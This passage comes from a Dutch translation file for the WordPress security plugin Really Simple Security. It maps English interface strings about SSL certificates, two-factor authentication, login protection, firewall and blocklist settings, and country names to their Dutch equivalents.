vernieuwing van je certificaat was niet mogelijk. Het SSL certificaat moet handmatig %svernieuwd%s worden.','Azerbaijan'=>'Azerbeidzjan','Backup Codes'=>'Back-up codes','Bahamas'=>'Bahamas','Bahrain'=>'Bahrein','Bangladesh'=>'Bangladesh','Barbados'=>'Barbados','Based on your settings, Really Simple Security will take appropriate action, or you will need to solve it manually.'=>'Op basis van je instellingen zal Really Simple Security actie ondernemen, of kun je problemen handmatig oplossen.','Basic'=>'Basis','Basic security configuration finished! Improve your score with %sReally Simple Security Pro%s.'=>'Basis security configuratie voltooid! Verbeter je score met %sReally Simple Security Pro%s.','Because of your settings in Really Simple Security, this user has been set to subscriber until you change the role manually.'=>'Vanwege je instellingen in Really Simple Security is deze gebruiker ingesteld als abonnee totdat je de rol handmatig wijzigt.','Because the $_SERVER["HTTPS"] variable is not set, your website may experience redirect loops.'=>'Omdat de variable $_SERVER["HTTPS"] niet ingesteld is, zou de website last kunnen hebben van redirect loops.','Belarus'=>'Wit-Rusland','Belgium'=>'België','Belize'=>'Belize','Below you will find the instructions for different hosting environments and configurations. If you start the process with the necessary instructions and credentials the next steps will be done in no time.'=>'Hieronder vind je de instructies voor verschillende hostingomgevingen en configuraties. Als je het proces start met de nodige instructies en referenties, zijn de volgende stappen zo gedaan.','Below you will find your login code for %1$s. It\'s valid for 15 minutes. %2$s'=>'Hieronder vind je je inlogcode voor %1$s. Deze is 15 minuten geldig. %2$s','Benin'=>'Benin','Bermuda'=>'Bermuda','Bhutan'=>'Bhutan','Black Friday sale! Get 40% Off Really Simple Security Pro'=>'Black Friday actie! Ontvang 40% korting op Really Simple Security Pro','Block admin creation was disabled, because the registration of admin users has failed.'=>'Blokkeer aanmaken van Beheerders is uitgeschakeld, omdat de registratie van Beheerders is mislukt.','Block the username \'admin\''=>'De gebruikersnaam \'admin\' blokkeren','Block user registrations when login and display name are the same'=>'Blokkeer gebruiker registratie wanneer de login naam gelijk is aan de weergave naam','Blocked'=>'Geblokkeerd','Blocked IP addresses will be automatically unblocked after the above-configured interval. In the table below you can instantly unblock IP addresses.'=>'Geblokkeerde IP-adressen worden automatisch gedeblokkeerd na het hierboven ingestelde interval. In de onderstaande tabel kun je IP-adressen direct deblokkeren.','Blocked URL: %s'=>'Geblokkeerde URL: %s','Blocked usernames will be automatically unblocked after the above-configured interval. In the table below you can instantly unblock usernames.'=>'Geblokkeerde gebruikersnamen worden automatisch gedeblokkeerd na het hierboven ingestelde interval. In de onderstaande tabel kun je gebruikersnamen direct deblokkeren.','Blocklists'=>'Blokkeer lijsten','Bolivia'=>'Bolivia','Bonaire, Sint Eustatius and Saba'=>'Bonaire, Sint Eustatius en Saba','Bosnia and Herzegovina'=>'Bosnië en Herzegovina','Botswana'=>'Botswana','Bouvet Island'=>'Bouvet eiland','Brazil'=>'Brazilië','British Indian Ocean Territory'=>'Brits Indische Oceaanterritorium','Browser features are plentiful, but most are not needed on your website.'=>'Browsers bevatten uiteenlopende functies, maar de meeste zullen niet nodig zijn op je website.','Brunei Darussalam'=>'Brunei Darussalam','Bulgaria'=>'Bulgarije','Bundle not available yet...'=>'Bundel nog niet beschikbaar...','Burkina Faso'=>'Burkina Faso','Burundi'=>'Burundi','By default, WordPress shows if a username or email address exists when a login fails. This will change it to generic feedback.'=>'Standaard laat WordPress zien of een gebruikersnaam of e-mailadres bestaat wanneer een aanmelding mislukt. Deze functie zal dit veranderen in generieke feedback.','CPanel host'=>'cPanel host','CPanel password'=>'cPanel wachtwoord','CPanel recognized. Possibly the certificate can be installed automatically.'=>'cPanel gedetecteerd. Mogelijk kan het certificaat automatisch worden geïnstalleerd.','CPanel username'=>'cPanel gebruikersnaam','Cambodia'=>'Cambodja','Cameroon'=>'Kameroen','Can be fixed automatically by pressing the Fix button. If fixing fails, the source file can be edited manually by pressing the Edit button.'=>'Kan automatisch worden gerepareerd door op de Repareer knop te klikken. Indien het repareren niet lukt kan het bronbestand handmatig worden bewerkt met behulp van de Aanpassen knop.','Can be fixed manually by editing the respective mu-plugin file in the /wp-content/mu-plugins/ directory.'=>'Kan handmatig worden opgelost door de respectievelijke mu-plugin aan te passen in de /wp-content/mu-plugins/ map','Canada'=>'Canada','Cancel'=>'Annuleren','Cannot be fixed automatically, as the mixed content is coming from an external domain. Contact the owner of the domain to update the CSS/JS file'=>'Kan niet automatisch gerepareerd worden, omdat de mixed content van een extern domein afkomstig is. Neem contact op met de eigenaar om het CSS/JS bestand te updaten.','Cape Verde'=>'Kaapverdië','Captcha'=>'Captcha','Captcha has not yet been verified, you need to complete the process of a Captcha to verify it\'s availability.'=>'Captcha is nog niet geverifieerd, je moet het proces van een Captcha voltooien om de beschikbaarheid te verifiëren.','Captcha provider'=>'Captcha aanbieder','Captcha was not verified'=>'Captcha is niet geverifieerd','Captcha was not verified successfully. Please try again.'=>'Captcha is niet succesvol geverifieerd. Probeer het opnieuw.','Captcha was verified'=>'Captcha is geverifieerd','Captcha was verified successfully and you can now enable it in the supported features.'=>'De Captcha is met succes geverifieerd en je kunt het nu inschakelen in de ondersteunde functies.','Cayman Islands'=>'Kaaimaneilanden','Central African Republic'=>'Centraal-Afrikaanse Republiek','Certificate already generated. It was renewed if required.'=>'Certificaat is al gegenereerd. Het werd vernieuwd indien nodig.','Certificate not created.'=>'Certificaat niet aangemaakt.','Chad'=>'Tsjaad','Challenge directory not writable.'=>'Challenge map niet schrijfbaar.','Change debug.log file location'=>'Verander de locatie van de debug.log','Change password'=>'Wachtwoord wijzigen','Change passwords every'=>'Verander wachtwoorden iedere','Change your password'=>'Wijzig je wachtwoord','Changed debug.log location to:'=>'Debug.log locatie veranderd naar:','Changed files'=>'Gewijzigde bestanden','Changed files detected.'=>'Gewijzigde bestanden gedetecteerd.','Changed files:'=>'Gewijzigde bestanden:','Changing redirect methods should be done with caution. Please make sure you have read our instructions beforehand at the right-hand side.'=>'Wees voorzichtig met het aanpassen van de redirect methode. Zorg ervoor dat je vooraf onze instructies aan de rechterkant hebt gelezen.','Cheatin&#8217; uh?'=>'Vals spelen hè?!','Check again'=>'Opnieuw controleren','Check manually'=>'Handmatig controleren','Check your %slicense%s.'=>'Controleer je %slicentie%s.','Checking SSL certificate...'=>'SSL certificaat controleren...','Checking alias domain...'=>'Alias domein controleren...','Checking certs directory...'=>'Certs map controleren...','Checking challenge directory reachable over http...'=>'Controleren of de challengde map bereikbaar is over http...','Checking challenge directory...'=>'Challenge map controleren...','Checking for subdomain setup...'=>'Controleren op subdomain configuratie...','Checking for website configuration...'=>'Website configuratie controleren...','Checking host...'=>'Host controleren...','Checking if CURL is available...'=>'Beschikbaarheid van cURL controleren...','Checking if Terms & Conditions are accepted...'=>'Controleren of de Algemene Voorwaarden zijn geaccepteerd ...','Checking if external js or css files contain http links, %s of %s'=>'Checken of externe JS of CSS bestanden http links bevatten, %s van %s','Checking if plugin folder exists...'=>'Controleren of de plugin map bestaat...','Checking key directory...'=>'Key map controleren...','Checking permissions...'=>'Permissies controleren...','Checking posts for external URLs, %s of %s'=>'Checken van posts op externe URL\'s, %s van %s','Checking server software...'=>'Server software controleren...','Checking which postmeta contain external resources'=>'Checken welke postmeta externe bronnen bevatten','Checking which resources can\'t load over ssl, %s of %s'=>'Checken welke bronnen niet over SSL geladen kunnen worden, %s van %s','Checking widgets for external URLs'=>'Checked van widgets op externe URL\'s','Chile'=>'Chili','China'=>'China','Choose new username to replace \'admin\''=>'Kies een nieuwe gebruikersnaam om \'admin\' te vervangen','Choose the max-age for HSTS'=>'Kies de max-age voor HSTS','Choose your provider'=>'Kies je leverancier','Christmas Island'=>'Christmaseiland','Click \'Enforce\' to enforce the configuration on your site.'=>'Klik \'Handhaven\' om de configuratie voor je site op te slaan.','Click the button below to confirm your email address, or copy the following URL: %s'=>'Klik op de knop hieronder om je e-mailadres te bevestigen, of kopieer de volgende URL: %s','CloudWays API key'=>'CloudWays API sleutel','CloudWays user email'=>'CloudWays gebruiker e-mail','Cocos (Keeling) Islands'=>'Cocos (Keeling) Eilanden','Colombia'=>'Colombia','Comoros'=>'Comoren','Complete email validation and enable notifications to make sure you will receive security warnings.'=>'Voltooi e-mailvalidatie en schakel meldingen in om ervoor te zorgen dat je beveiligingswaarschuwingen ontvangt.','Completed'=>'Voltooid','Complianz - Consent Management as it should be'=>'Complianz - Cookie toestemming management zoals het hoort','Component'=>'Component','Components will be quarantined if the update process fails.'=>'Componenten worden in quarantaine geplaatst als het updateproces mislukt.','Compromised password for %s has been reset'=>'Gecompromitteerd wachtwoord voor %s is gereset','Compromised password reset'=>'Gecompromitteerd wachtwoord opnieuw ingesteld','Configuration'=>'Configuratie','Configure your Cookie Notice, Consent Management and Cookie Policy with our Wizard and Cookie Scan. Supports GDPR, DSGVO, TTDSG, LGPD, POPIA, RGPD, CCPA and PIPEDA.'=>'Configureer je Cookie bericht, toestemmingsbeheer en cookiebeleid met behulp van onze wizard en cookie scan. Ondersteunt AVG/GDPR, DSGVO, TTDSG, LGPD, POPIA, RGPD, CCPA en PIPEDA.','Configured for HTTP challenge'=>'Geconfigureerd voor HTTP challenge','Congo'=>'Congo','Congo, Democratic Republic of the Congo'=>'Congo, Democratische Republiek Congo','Consent Management as it should be.'=>'Toestemming management zoals het hoort te zijn.','Content Security Policy'=>'Content Security Policy','Content Security Policy Headers'=>'Content Security Policy headers','Content Security Policy maximum size exceeded'=>'Maximale grootte van Content Security Policy overschreden','Continent'=>'Continent','Continents'=>'Continenten','Continue'=>'Verder','Continue to renew.'=>'Doorgaan om te vernieuwen.','Control and monitor the use of XML-RPC on your site with learning mode.'=>'Monitor en beheer het gebruik van XML-RPC op je site met zelflerende modus.','Control browser features that could allow third parties to misuse data collected by microphone, camera, GEO Location etc, when enabled for your website.'=>'Limiteer misbruik van browserfuncties waarmee derden misbruik kunnen maken van gegevens die zijn verzameld door de microfoon, camera, GEO-locatie etc, wanneer deze zijn ingeschakeld voor je website.','Cook Islands'=>'Cook Eilanden','Copy setup key'=>'configuratiecode kopiëren','Copy this URL to your browser to change your password: %1$s '=>'Kopieer deze URL naar je browser om je wachtwoord te wijzigen: %1$s','Copyright warning!'=>'Auteursrecht waarschuwing!','Costa Rica'=>'Costa Rica','Cote D\'Ivoire'=>'Ivoorkust','Could not automatically add TXT record. Please proceed manually, following the steps below.'=>'Kon niet automatisch een TXT record toevoegen. Gelieve handmatig het record toe te voegen, door onderstaande stappen te volgen.','Could not copy code execution test file.'=>'Kon het code executie testbestand niet kopiëren.','Could not copy text: '=>'Kon tekst niet kopiëren:','Could not create test folder and file.'=>'Kon geen test map en bestand maken.','Could not find code execution test file.'=>'Kon het code executie testbestand niet kopiëren.','Could not reach challenge directory over %s.'=>'Kon de challenge map niet bereiken over %s.','Could not rename folder!'=>'Kon map niet hernoemen!','Could not retrieve server list'=>'Kon de server lijst niet ophalen','Could not test certificate'=>'Kon certificaat niet testen','Could not verify TXT record for domain %s'=>'Kon het txt record niet verifiëren voor domein %s','Could not verify alias domain.'=>'Kon het alias domein niet verifiëren.','Count'=>'Aantal','Country'=>'Land','Country %s added to geo-IP blocklist'=>'Land %s toegevoegd aan GeoIP blocklist','Country %s removed from geo-IP blocklist'=>'Land %s verwijderd uit GeoIP blocklist','Country already in the list.'=>'Land staat al in de lijst.','Crawlers might scan your site looking for possible exploits. One way to detect this is the fact that they trigger more 404 (not found) errors than legitimate visitors would. Below you can set the threshold and lockout duration for 404 blocking.'=>'Crawlers kunnen je site scannen op zoek naar mogelijke zwakheden. Een manier om dit te detecteren is het feit dat ze meer 404 (niet gevonden) fouten veroorzaken dan legitieme bezoekers zouden doen. Hieronder kun je de drempelwaarde en blokkeerduur voor 404 blokkeren instellen.','Creating account...'=>'Account aanmaken...','Critical'=>'Kritiek','Critical (default)'=>'Kritiek (standaard)','Croatia'=>'Kroatië','Cross Origin Embedder Policy'=>'Cross Origin Embedder Policy','Cross Origin Opener Policy'=>'Cross Origin Opener Policy','Cross Origin Resource Policy'=>'Cross Origin Resource Policy','Cuba'=>'Cuba','Curacao'=>'Curaçao','Custom login URL'=>'Aangepaste login URL','Customize login attempts, intervals, and temporary lockouts according to your preferences to regulate the level of security on your website during authentication. No additional settings required'=>'Configureer loginpogingen, intervallen en tijdelijke vergrendelingen aan je voorkeuren aan om het beveiligingsniveau van je website tijdens verificatie te regelen. Geen extra instellingen nodig','Cyprus'=>'Cyprus','Czech Republic'=>'Tsjechië','DNS records were not verified yet. Please complete the previous step.'=>'DNS records zijn nog niet geverifieerd. Voltooi eerst de vorige stap.','DNS token not retrieved.'=>'DNS token niet opgehaald.','DNS verification'=>'DNS verificatie','Dashboard'=>'Dashboard','Dashboard - Test Notification'=>'Dashboard - Testmelding','Date'=>'Datum','Debug.log'=>'Debug.log','Debugging with Really Simple Security'=>'Debuggen met Really Simple Security','Delete all data on plugin deletion'=>'Verwijder alle gegevens bij verwijderen plugin','Denmark'=>'Denemarken','Depending on your hosting provider, %1$smanual installation%2$s may be required.'=>'Afhankelijk van je hostingprovider kan %1$shandmatige installatie%2$s vereist zijn.','Description'=>'Beschrijving','Destination folder already exists'=>'Bestemmingsmap bestaat al','Details'=>'Details','Detected File Changes'=>'Gedetecteerde bestandswijzigingen','Detected status of your setup.'=>'Gedetecteerde status van je installatie.','Direct Admin URL'=>'Direct Admin URL','DirectAdmin host'=>'DirectAdmin host','DirectAdmin password'=>'DirectAdmin wachtwoord','DirectAdmin recognized. Possibly the certificate can be installed automatically.'=>'DirectAdmin gedetecteerd. Mogelijk kan het certificaat automatisch worden geïnstalleerd.','DirectAdmin username'=>'DirectAdmin gebruikersnaam','Directive'=>'Onderdeel','Directories'=>'Mappen','Disable'=>'Uitschakelen','Disable "anyone can register"'=>'"Iedereen kan registreren" uitschakelen','Disable HTTP methods'=>'HTTP methoden uitschakelen','Disable OCSP stapling'=>'OCSP stapling uitschakelen','Disable XML-RPC'=>'XML-RPC uitschakelen','Disable application passwords'=>'Application passwords uitschakelen','Disable directory browsing'=>'Doorzoeken van mappen uitschakelen','Disable the built-in file editors'=>'De ingebouwde bestand editors uitschakelen','Disable user enumeration'=>'User enumeration uitschakelen','Disabled'=>'Uitgeschakeld','Dismiss'=>'Negeren','Dismiss all notifications'=>'Alle meldingen verbergen','Djibouti'=>'Djibouti','Do you want to store these credentials for renewal purposes?'=>'Wil je deze inloggegevens opslaan om gemakkelijk te verlengen?','Domain'=>'Domein','Dominica'=>'Dominica','Dominican Republic'=>'Dominicaanse Republiek','Don\'t ask again'=>'Niet nogmaals vragen','Don\'t show again'=>'Niet opnieuw tonen','Don\'t use Two-Factor Authentication'=>'Gebruik geen Tweefactorauthenticatie','Download'=>'Download','Download Backup Codes'=>'Back-up codes downloaden','Download Codes'=>'Codes downloaden','Downloading files from other websites can cause serious copyright issues! It is always illegal to use images, files, or any copyright protected material on your own site without the consent of the copyrightholder. Please ask the copyrightholder for permission. Use this function at your own risk.'=>'Het downloaden van bestanden van andere websites kan ernstige auteursrechtkwesties veroorzaken! Het is altijd illegaal om afbeeldingen, bestanden of enig auteursrechtelijk beschermd materiaal op je eigen site te gebruiken zonder toestemming van de houder van het auteursrecht. Vraag de houder om toestemming. Gebruik deze functie op eigen risico.','Due to a change in challenge type, the order had to be reset. Please start at the previous step.'=>'Door een verandering in het type challenge moest de order gereset worden. Begin alsjeblieft bij de vorige stap.','During the grace period users can configure their Two-Factor method. When the grace period ends, users for which 2FA is enforced won’t be able to login unless 2FA is correctly configured. The grace period is also applied to new users.'=>'Tijdens de configuratieperiode kunnen gebruikers hun Tweefactor methode configureren. Als de configuratieperiode afloopt, kunnen gebruikers waarvoor 2FA is afgedwongen niet inloggen tenzij 2FA correct is geconfigureerd. De configuratieperiode geldt ook voor nieuwe gebruikers.','E-mail login'=>'E-mail login','Easily improve site security with WordPress Hardening, Two-Factor Authentication (2FA), Login Protection, Vulnerability Detection and SSL certificate generation.'=>'Beveilig je site gemakkelijk met WordPress Hardening, Tweefactorauthenticatie (2FA), Loginbeveiliging, Kwetsbaarheid detectie en SSL certificaat generatie.','Ecuador'=>'Ecuador','Egypt'=>'Egypte','El Salvador'=>'El Salvador','Elementor mixed content successfully converted.'=>'Elementor mixed content succesvol geconverteerd.','Elevate your security with our Premium Support! Our expert team ensures simple, hassle-free assistance whenever you need it.'=>'Versterk je beveiliging met onze Premium Support! Ons deskundige team zorgt voor eenvoudige, probleemloze hulp wanneer je die nodig hebt.','Email'=>'E-mail','Email Verification'=>'E-mail verificatie','Email Verification sends a verification code to the user’s email address. This method provides protection against leaked or weak passwords, though it is less secure than other 2FA methods. If a user’s email inbox is compromised, one could still get access to the user account. It is not recommended to allow Email Verification for administrators.'=>'E-mailverificatie stuurt een verificatiecode naar het e-mailadres van de gebruiker. Deze methode biedt bescherming tegen gelekte of zwakke wachtwoorden, maar is minder veilig dan andere 2FA methodes. Als de e-mail inbox van een gebruiker gecompromitteerd is, kan men nog steeds toegang krijgen tot het gebruikersaccount. Het wordt niet aanbevolen om E-mailverificatie toe te staan voor Beheerders.','Email address'=>'E-mail adres','Email address not valid'=>'E-mailadres niet geldig','Email address successfully verified.'=>'E-mailadres succesvol geverifieerd.','Email could not be sent.'=>'E-mail kon niet worden verzonden.','Email could not be sent. No message or subject set.'=>'E-mail kon niet worden verzonden. Geen bericht of onderwerp ingesteld.','Email not verified yet. Verify your email address to get the most out of Really Simple Security.'=>'E-mail nog niet geverifieerd. Verifieer je e-mailadres om alle functionaliteit van Really Simple Security te kunnen gebruiken.','Email notification error'=>'Fout bij e-mailnotificatie','Email notifications are only sent for important updates, security notices or when certain features are enabled.'=>'E-mailmeldingen worden alleen verzonden voor belangrijke updates, beveiligingsmeldingen of wanneer bepaalde functies zijn ingeschakeld.','Email sent! Please check your mail'=>'E-mail verstuurd! Controleer je inbox','Email validation'=>'E-mail validatie','Email validation completed'=>'E-mail validatie afgerond','Email verification'=>'E-mail verificatie','Email verification error'=>'Fout bij e-mailverificatie','Enable'=>'Inschakelen','Enable .htaccess only if you know how to regain access in case of issues.'=>'Schakel .htaccess alleen in als je weet hoe je weer toegang krijgt in geval van problemen.','Enable 301 .htaccess redirect'=>'Schakel de .htaccess 301 redirect in','Enable 301 redirect'=>'Schakel 301 redirect in','Enable Custom login URL'=>'Aangepaste login URL inschakelen','Enable Firewall'=>'Firewall inschakelen','Enable Limit Login Attempts'=>'Beperk loginpogingen inschakelen','Enable Limit Login Attempts to protect the login form against brute-force attacks.'=>'Schakel Limit Login Attempts in om het aanmeldformulier te beveiligen tegen brute-force aanvallen.','Enable Permissions Policy'=>'Permissions Policy inschakelen','Enable Two-Factor Authentication'=>'Tweefactorauthenticatie inschakelen','Enable a .htaccess redirect or PHP redirect in the settings to create a 301 redirect.'=>'Schakel een htaccess- of PHP redirect in op de instellingen pagina om een 301 redirect in te stellen.','Enable compromised password check'=>'Controle op gecompromitteerde wachtwoorden inschakelen','Enable for:'=>'Toestaan voor:','Enable open source blocklist API etc.'=>'Open source blokkeerlijst API enz. inschakelen.','Enable the Vulnerability scan to detect possible vulnerabilities.'=>'Schakel Kwetsbaarheid detectie in om mogelijke kwetsbaarheden te detecteren.','Enable vulnerability scanning'=>'Kwetsbaarheid scan inschakelen','Enabled'=>'Ingeschakeld','Enabling auto renew...'=>'Automatisch vernieuwen inschakelen...','Enforce for:'=>'Afdwingen voor:','Enforce frequent password change'=>'Forceer frequent wachtwoorden vernieuwen','Enforce secure password policies for your users by requiring strong passwords, and expiring passwords after a period of your choosing.'=>'Implementeer een sterk wachtwoordbeleid voor je gebruikers door sterke wachtwoorden te vereisen en te laten verlopen na een door jou gekozen periode.','Enforce strong passwords'=>'Sterke wachtwoorden afdwingen','Enforcing 2FA ensures that all users with the selected roles must login using Two-Factor Authentication. It is strongly recommended to at least enforce 2FA for Administrators.'=>'Het afdwingen van 2FA zorgt ervoor dat alle gebruikers met de geselecteerde rollen moeten inloggen met behulp van Two-Factor Authenticatie. Het is sterk aan te raden om in ieder geval 2FA af te dwingen voor Beheerders.','Enter a backup verification code.'=>'Voer een back-up verificatiecode in.','Enter a custom login URL. This allows you to log in via this custom URL instead of /wp-admin or /wp-login.php'=>'Voer een aangepaste login URL in. Hierdoor kan je inloggen via deze aangepaste URL in plaats van /wp-admin of /wp-login.php','Equatorial Guinea'=>'Equatoriaal-Guinea','Eritrea'=>'Eritrea','Error code %s'=>'Foutcode %s','Error code: 403'=>'Foutcode: 403','Error code: 404'=>'Foutcode: 404','Error enabling auto renew for Let\'s Encrypt'=>'Fout bij het inschakelen van automatisch vernieuwen van Let\'s Encrypt','Error occurred when retrieving the webpage.'=>'Er is een fout opgetreden bij het ophalen van de webpagina.','Errors were reported during installation.'=>'Er werden fouten gemeld tijdens de installatie.','Essential Security Headers'=>'Essentiële Security Headers','Essential WordPress hardening'=>'Essentiële WordPress Hardening','Essential security'=>'Essentiële beveiliging','Essential security headers installed'=>'Essentiële Security Headers geactiveerd','Estonia'=>'Estland','Ethiopia'=>'Ethiopie','Europe'=>'Europa','Event'=>'Gebeurtenis','Event Log'=>'Gebeurtenis logboek','Event Logs'=>'Event Logs','Example: If you want to change your login page from /wp-admin/ to /control/ answer: control'=>'Voorbeeld: Als je je login pagina wil veranderen van /wp-admin/ naar /control/ antwoord: control','Experience all powerful features of Really Simple Security Pro using this %slimited time discount%s: %s'=>'Ervaar alle krachtige functies van Really Simple Security Pro met deze %stijdelijke korting!%s: %s','Failed retrieving access token'=>'Ophalen access token mislukt','Failed retrieving account.'=>'Fout bij het ophalen van accounts.','Failed to activate plugin'=>'Plugin kan niet geactiveerd worden','Failed to add country to the list.'=>'Het is niet gelukt om het land toe te voegen aan de lijst.','Failed to create a login nonce.'=>'Login nonce aanmaken mislukt.','Failed to delete %s from the list.'=>'Het is niet gelukt om %s uit de lijst te verwijderen.','Failed to delete some countries.'=>'Sommige landen zijn niet verwijderd.','Failed to gather package information'=>'Kan pakketinformatie niet ophalen','Failed to install plugin'=>'Kan plugin niet installeren','Falkland Islands (Malvinas)'=>'Falklandeilanden (Malvinas)','Faroe Islands'=>'Faeröer','Feature'=>'Functionaliteit','Feedback in plugin overview'=>'Feedback in plugin overzicht','Fiji'=>'Fiji','File Change Detection'=>'Bestandswijziging detectie','File Change Detection generates a snapshot of every .php and .js file. On a daily basis, each file is then compared to this snapshot.'=>'Bestandswijziging detectie maakt een snapshot van elk .php en .js bestand. Dagelijks wordt elk bestand dan vergeleken met deze snapshot.','File missing. Please retry the previous steps.'=>'Missend bestand. Probeer de vorige stap.','File permissions check'=>'Bestandsrechten controleren','Files not created yet...'=>'Bestanden nog niet aangemaakt...','Files with wrong permissions:'=>'Bestanden met verkeerde rechten:','Finished scan'=>'Voltooide scan','Finland'=>'Finland','Firewall'=>'Firewall','Firewall Rules'=>'Firewall regels','Fixing of file permissions completed. Fixed: %d. Failed: %d'=>'Reparatie van bestandsrechten voltooid. Gerepareerd: %d. Mislukt: %d','Follow these steps to complete the setup:'=>'Volg deze stappen om de installatie te voltooien:','For more information, please read this %sarticle%s'=>'Voor meer informatie, lees dit %sartikel%s','Force Update: %s hours'=>'Forceer update: %s uur','Force Update: failed'=>'Update forceren: mislukt','Force update'=>'Forceer update','France'=>'Frankrijk','French Guiana'=>'Frans-Guyana','French Polynesia'=>'Frans-Polynesië','French Southern Territories'=>'Franse Zuidelijke Gebieden','From now on, the debug.log won’t be publicly accessible whenever wp-debugging is enabled. The debug log will be stored in a randomly named folder in /wp-content/. This prevents possible leakage of sensitive debugging information.'=>'Vanaf nu zal de debug.log niet meer publiek toegankelijk zijn wanneer wp-debugging is ingeschakeld. De debug.log zal worden opgeslagen in een map met een willekeurige naam in /wp-content/. Dit voorkomt eventueel lekken van gevoelige debug-informatie.','GDPR/CCPA Privacy Suite'=>'GDPR/CCPA Privacy Suite','Gabon'=>'Gabon','Gambia'=>'Gambia','General'=>'Algemeen','General Settings'=>'Algemene instellingen','Generate Verification Codes'=>'Genereer Verificatiecodes','Generating SSL certificate...'=>'SSL certificaat genereren...','Generating file list'=>'Genereert bestandenlijst','Generating web page list'=>'Webpagina lijst genereren','Generation'=>'Generatie','Geo-IP blocklist changed'=>'GeoIP blocklist gewijzigd','Georgia'=>'Georgië','Germany'=>'Duitsland','Get Login Protection with Really Simple Security Pro'=>'Activeer Loginbeveiliging met Really Simple Security Pro','Get detailed insights into visitors\' behaviour with Burst Statistics, the privacy-friendly analytics dashboard from Really Simple Plugins.'=>'Krijg gedetailleerde inzichten in het gedrag van bezoekers met Burst Statistics, het privacyvriendelijke analyse dashboard van Really Simple Plugins.','Get notified of important changes, updates and settings. Recommended when using security features.'=>'Ontvang meldingen over belangrijke wijzigingen, updates en instellingen. Aanbevolen bij gebruik van beveiligingsfuncties.','Get two-factor authentication with Really Simple Security Pro'=>'Activeer Tweefactorauthenticatie met Really Simple Security Pro','Ghana'=>'Ghana','Gibraltar'=>'Gibraltar','Go to activation'=>'Ga naar activatie','Go to installation'=>'Ga naar Installatie','Greece'=>'Griekenland','Greenland'=>'Groenland','Grenada'=>'Grenada','Guadeloupe'=>'Guadeloupe','Guam'=>'Guam','Guatemala'=>'Guatemala','Guernsey'=>'Guernsey','Guinea'=>'Guinea','Guinea-Bissau'=>'Guinea-Bissau','Guyana'=>'Guyana','HSTS Preload'=>'HSTS Preload','HSTS forces browsers always to load a website via HTTPS. It prevents unnecessary redirects and prevents manipulation of data originating from communication with your website.'=>'HSTS dwingt browsers om een website altijd via HTTPS te laden. Het voorkomt onnodige omleidingen en voorkomt manipulatie van gegevens die tijdens communicatie met je website.','HSTS not enabled'=>'HSTS niet ingeschakeld','HTTP Strict Transport Security'=>'HTTP Strict Transport Security','Haiti'=>'Haiti','Hardening'=>'Site Hardening','Hardening features limit the possibility of potential weaknesses and vulnerabilities which can be misused.'=>'Site hardening verkleint de kans op potentiële kwetsbaarheden die misbruikt kunnen worden.','Heard Island and McDonald Islands'=>'Heard Eiland en McDonald Eilanden','Heavyweight security features, in a lightweight performant plugin from Really Simple Plugins. Get started with below features and get the latest and greatest updates for peace of mind!'=>'Zwaargewicht security functies in een lichtgewicht plugin van Really Simple Plugins. Beveilig je site direct met onderstaande functies en continue beveiligingsupdates voor de beste beveiliging!','Hello %1$s, an unusually high number of failed login attempts have been detected on your account at %2$s.

These attempts successfully entered your password, and were only blocked because they failed to enter your second authentication factor. Despite not being able to access your account, this behavior indicates that the attackers have compromised your password. The most common reasons for this are that your password was easy to guess, or was reused on another site which has been compromised.

To protect your account, your password has been reset, and you will need to create a new one. For advice on setting a strong password, please read %3$s

To pick a new password, please visit %4$s

This is an automated notification. If you would like to speak to a site administrator, please contact them directly.'=>'Hallo %1$s, er is een ongewoon hoog aantal mislukte inlogpogingen gedetecteerd op je account bij %2$s.

Bij deze pogingen is je wachtwoord ingevoerd en zijn deze alleen geblokkeerd omdat ze je tweede authenticatiefactor niet is ingevoerd. Ondanks dat men geen toegang heeft tot je account, betekent dit dat aanvallers je wachtwoord gecompromitteerd hebben. De meest voorkomende redenen hiervoor zijn dat je wachtwoord makkelijk te raden was, of hergebruikt is op een andere site die gecompromitteerd is.

Om je account te beschermen is je wachtwoord opnieuw ingesteld en moet je een nieuw wachtwoord aanmaken. Voor advies over het instellen van een sterk wachtwoord, lees %3$s

Om een nieuw wachtwoord te kiezen, bezoek %4$s

Dit is een automatische melding. Als je met een sitebeheerder wilt spreken, neem dan rechtstreeks contact met hen op.','Hello, this is a notice from your website to inform you that an unusually high number of failed login attempts have been detected on the %1$s account (ID %2$d). Those attempts successfully entered the user\'s password, and were only blocked because they entered invalid second authentication factors. To protect their account, the password has automatically been reset, and they have been notified that they will need to create a new one. If you do not wish to receive these notifications, you can disable them with the `two_factor_notify_admin_user_password_reset` filter. See %3$s for more information. Thank you'=>'Hallo, dit is een bericht van je website om je te informeren dat er een ongewoon hoog aantal mislukte inlogpogingen is gedetecteerd op het %1$s-account (ID %2$d). Tijdens deze pogingen is het wachtwoord van de gebruiker succesvol ingevoerd en is alleen geblokkeerd omdat tweefactorauthenticatie faalde. Om het account te beschermen is het wachtwoord automatisch gereset en is de gebruiker geïnformeerd dat hij of zij een nieuw wachtwoord moet aanmaken. Als je deze meldingen niet wilt ontvangen, kun je ze uitschakelen met het `two_factor_notify_admin_user_password_reset` filter. Zie %3$s voor meer informatie. Bedankt','Here you can add IP addresses that should never be blocked by the Firewall. We will automatically add the IP address of the administrator that enabled the Firewall.'=>'Hier kun je IP-adressen toevoegen die nooit geblokkeerd mogen worden door de Firewall. We voegen automatisch het IP-adres toe van de beheerder die de Firewall heeft ingeschakeld.','Here you can configure vulnerability detection, notifications and measures. To learn more about the features displayed, please use the instructions linked in the top-right corner.'=>'Hier kun je kwetsbaarheid detectie, meldingen en maatregelen configureren. Gebruik de instructies in de rechterbovenhoek voor meer informatie over de weergegeven functies.','Here you can see which users have configured Two-Factor Authentication. The reset button will trigger the 2FA onboarding for the selected user(s) again and allow the configured grace period.'=>'Hier kun je zien welke gebruikers Tweefactorauthenticatie hebben geconfigureerd. De reset knop zal de 2FA onboarding voor de geselecteerde gebruiker(s) opnieuw activeren en de copulanceperiode toestaan.','Here you control the users that are automatically, and temporarily blocked. You can also add or remove users manually. We recommend blocking ‘admin’ as username as a start.'=>'Hier bepaal je welke gebruikers automatisch en tijdelijk worden geblokkeerd. Je kunt gebruikers ook handmatig toevoegen of verwijderen. Om te beginnen raden we aan om \'admin\' als gebruikersnaam te blokkeren.','Hi'=>'Hoi','Hi %1$s, Your password expired on %2$s , please change your password.'=>'Hoi %1$s, Je wachtwoord is verlopen op %2$s, verander je wachtwoord alstublieft.','Hi %1$s, Your password on %2$s will expire in 7 days, please change your password.'=>'Hoi %1$s, Je wachtwoord op %2$s verloopt over 7 dagen, verander je 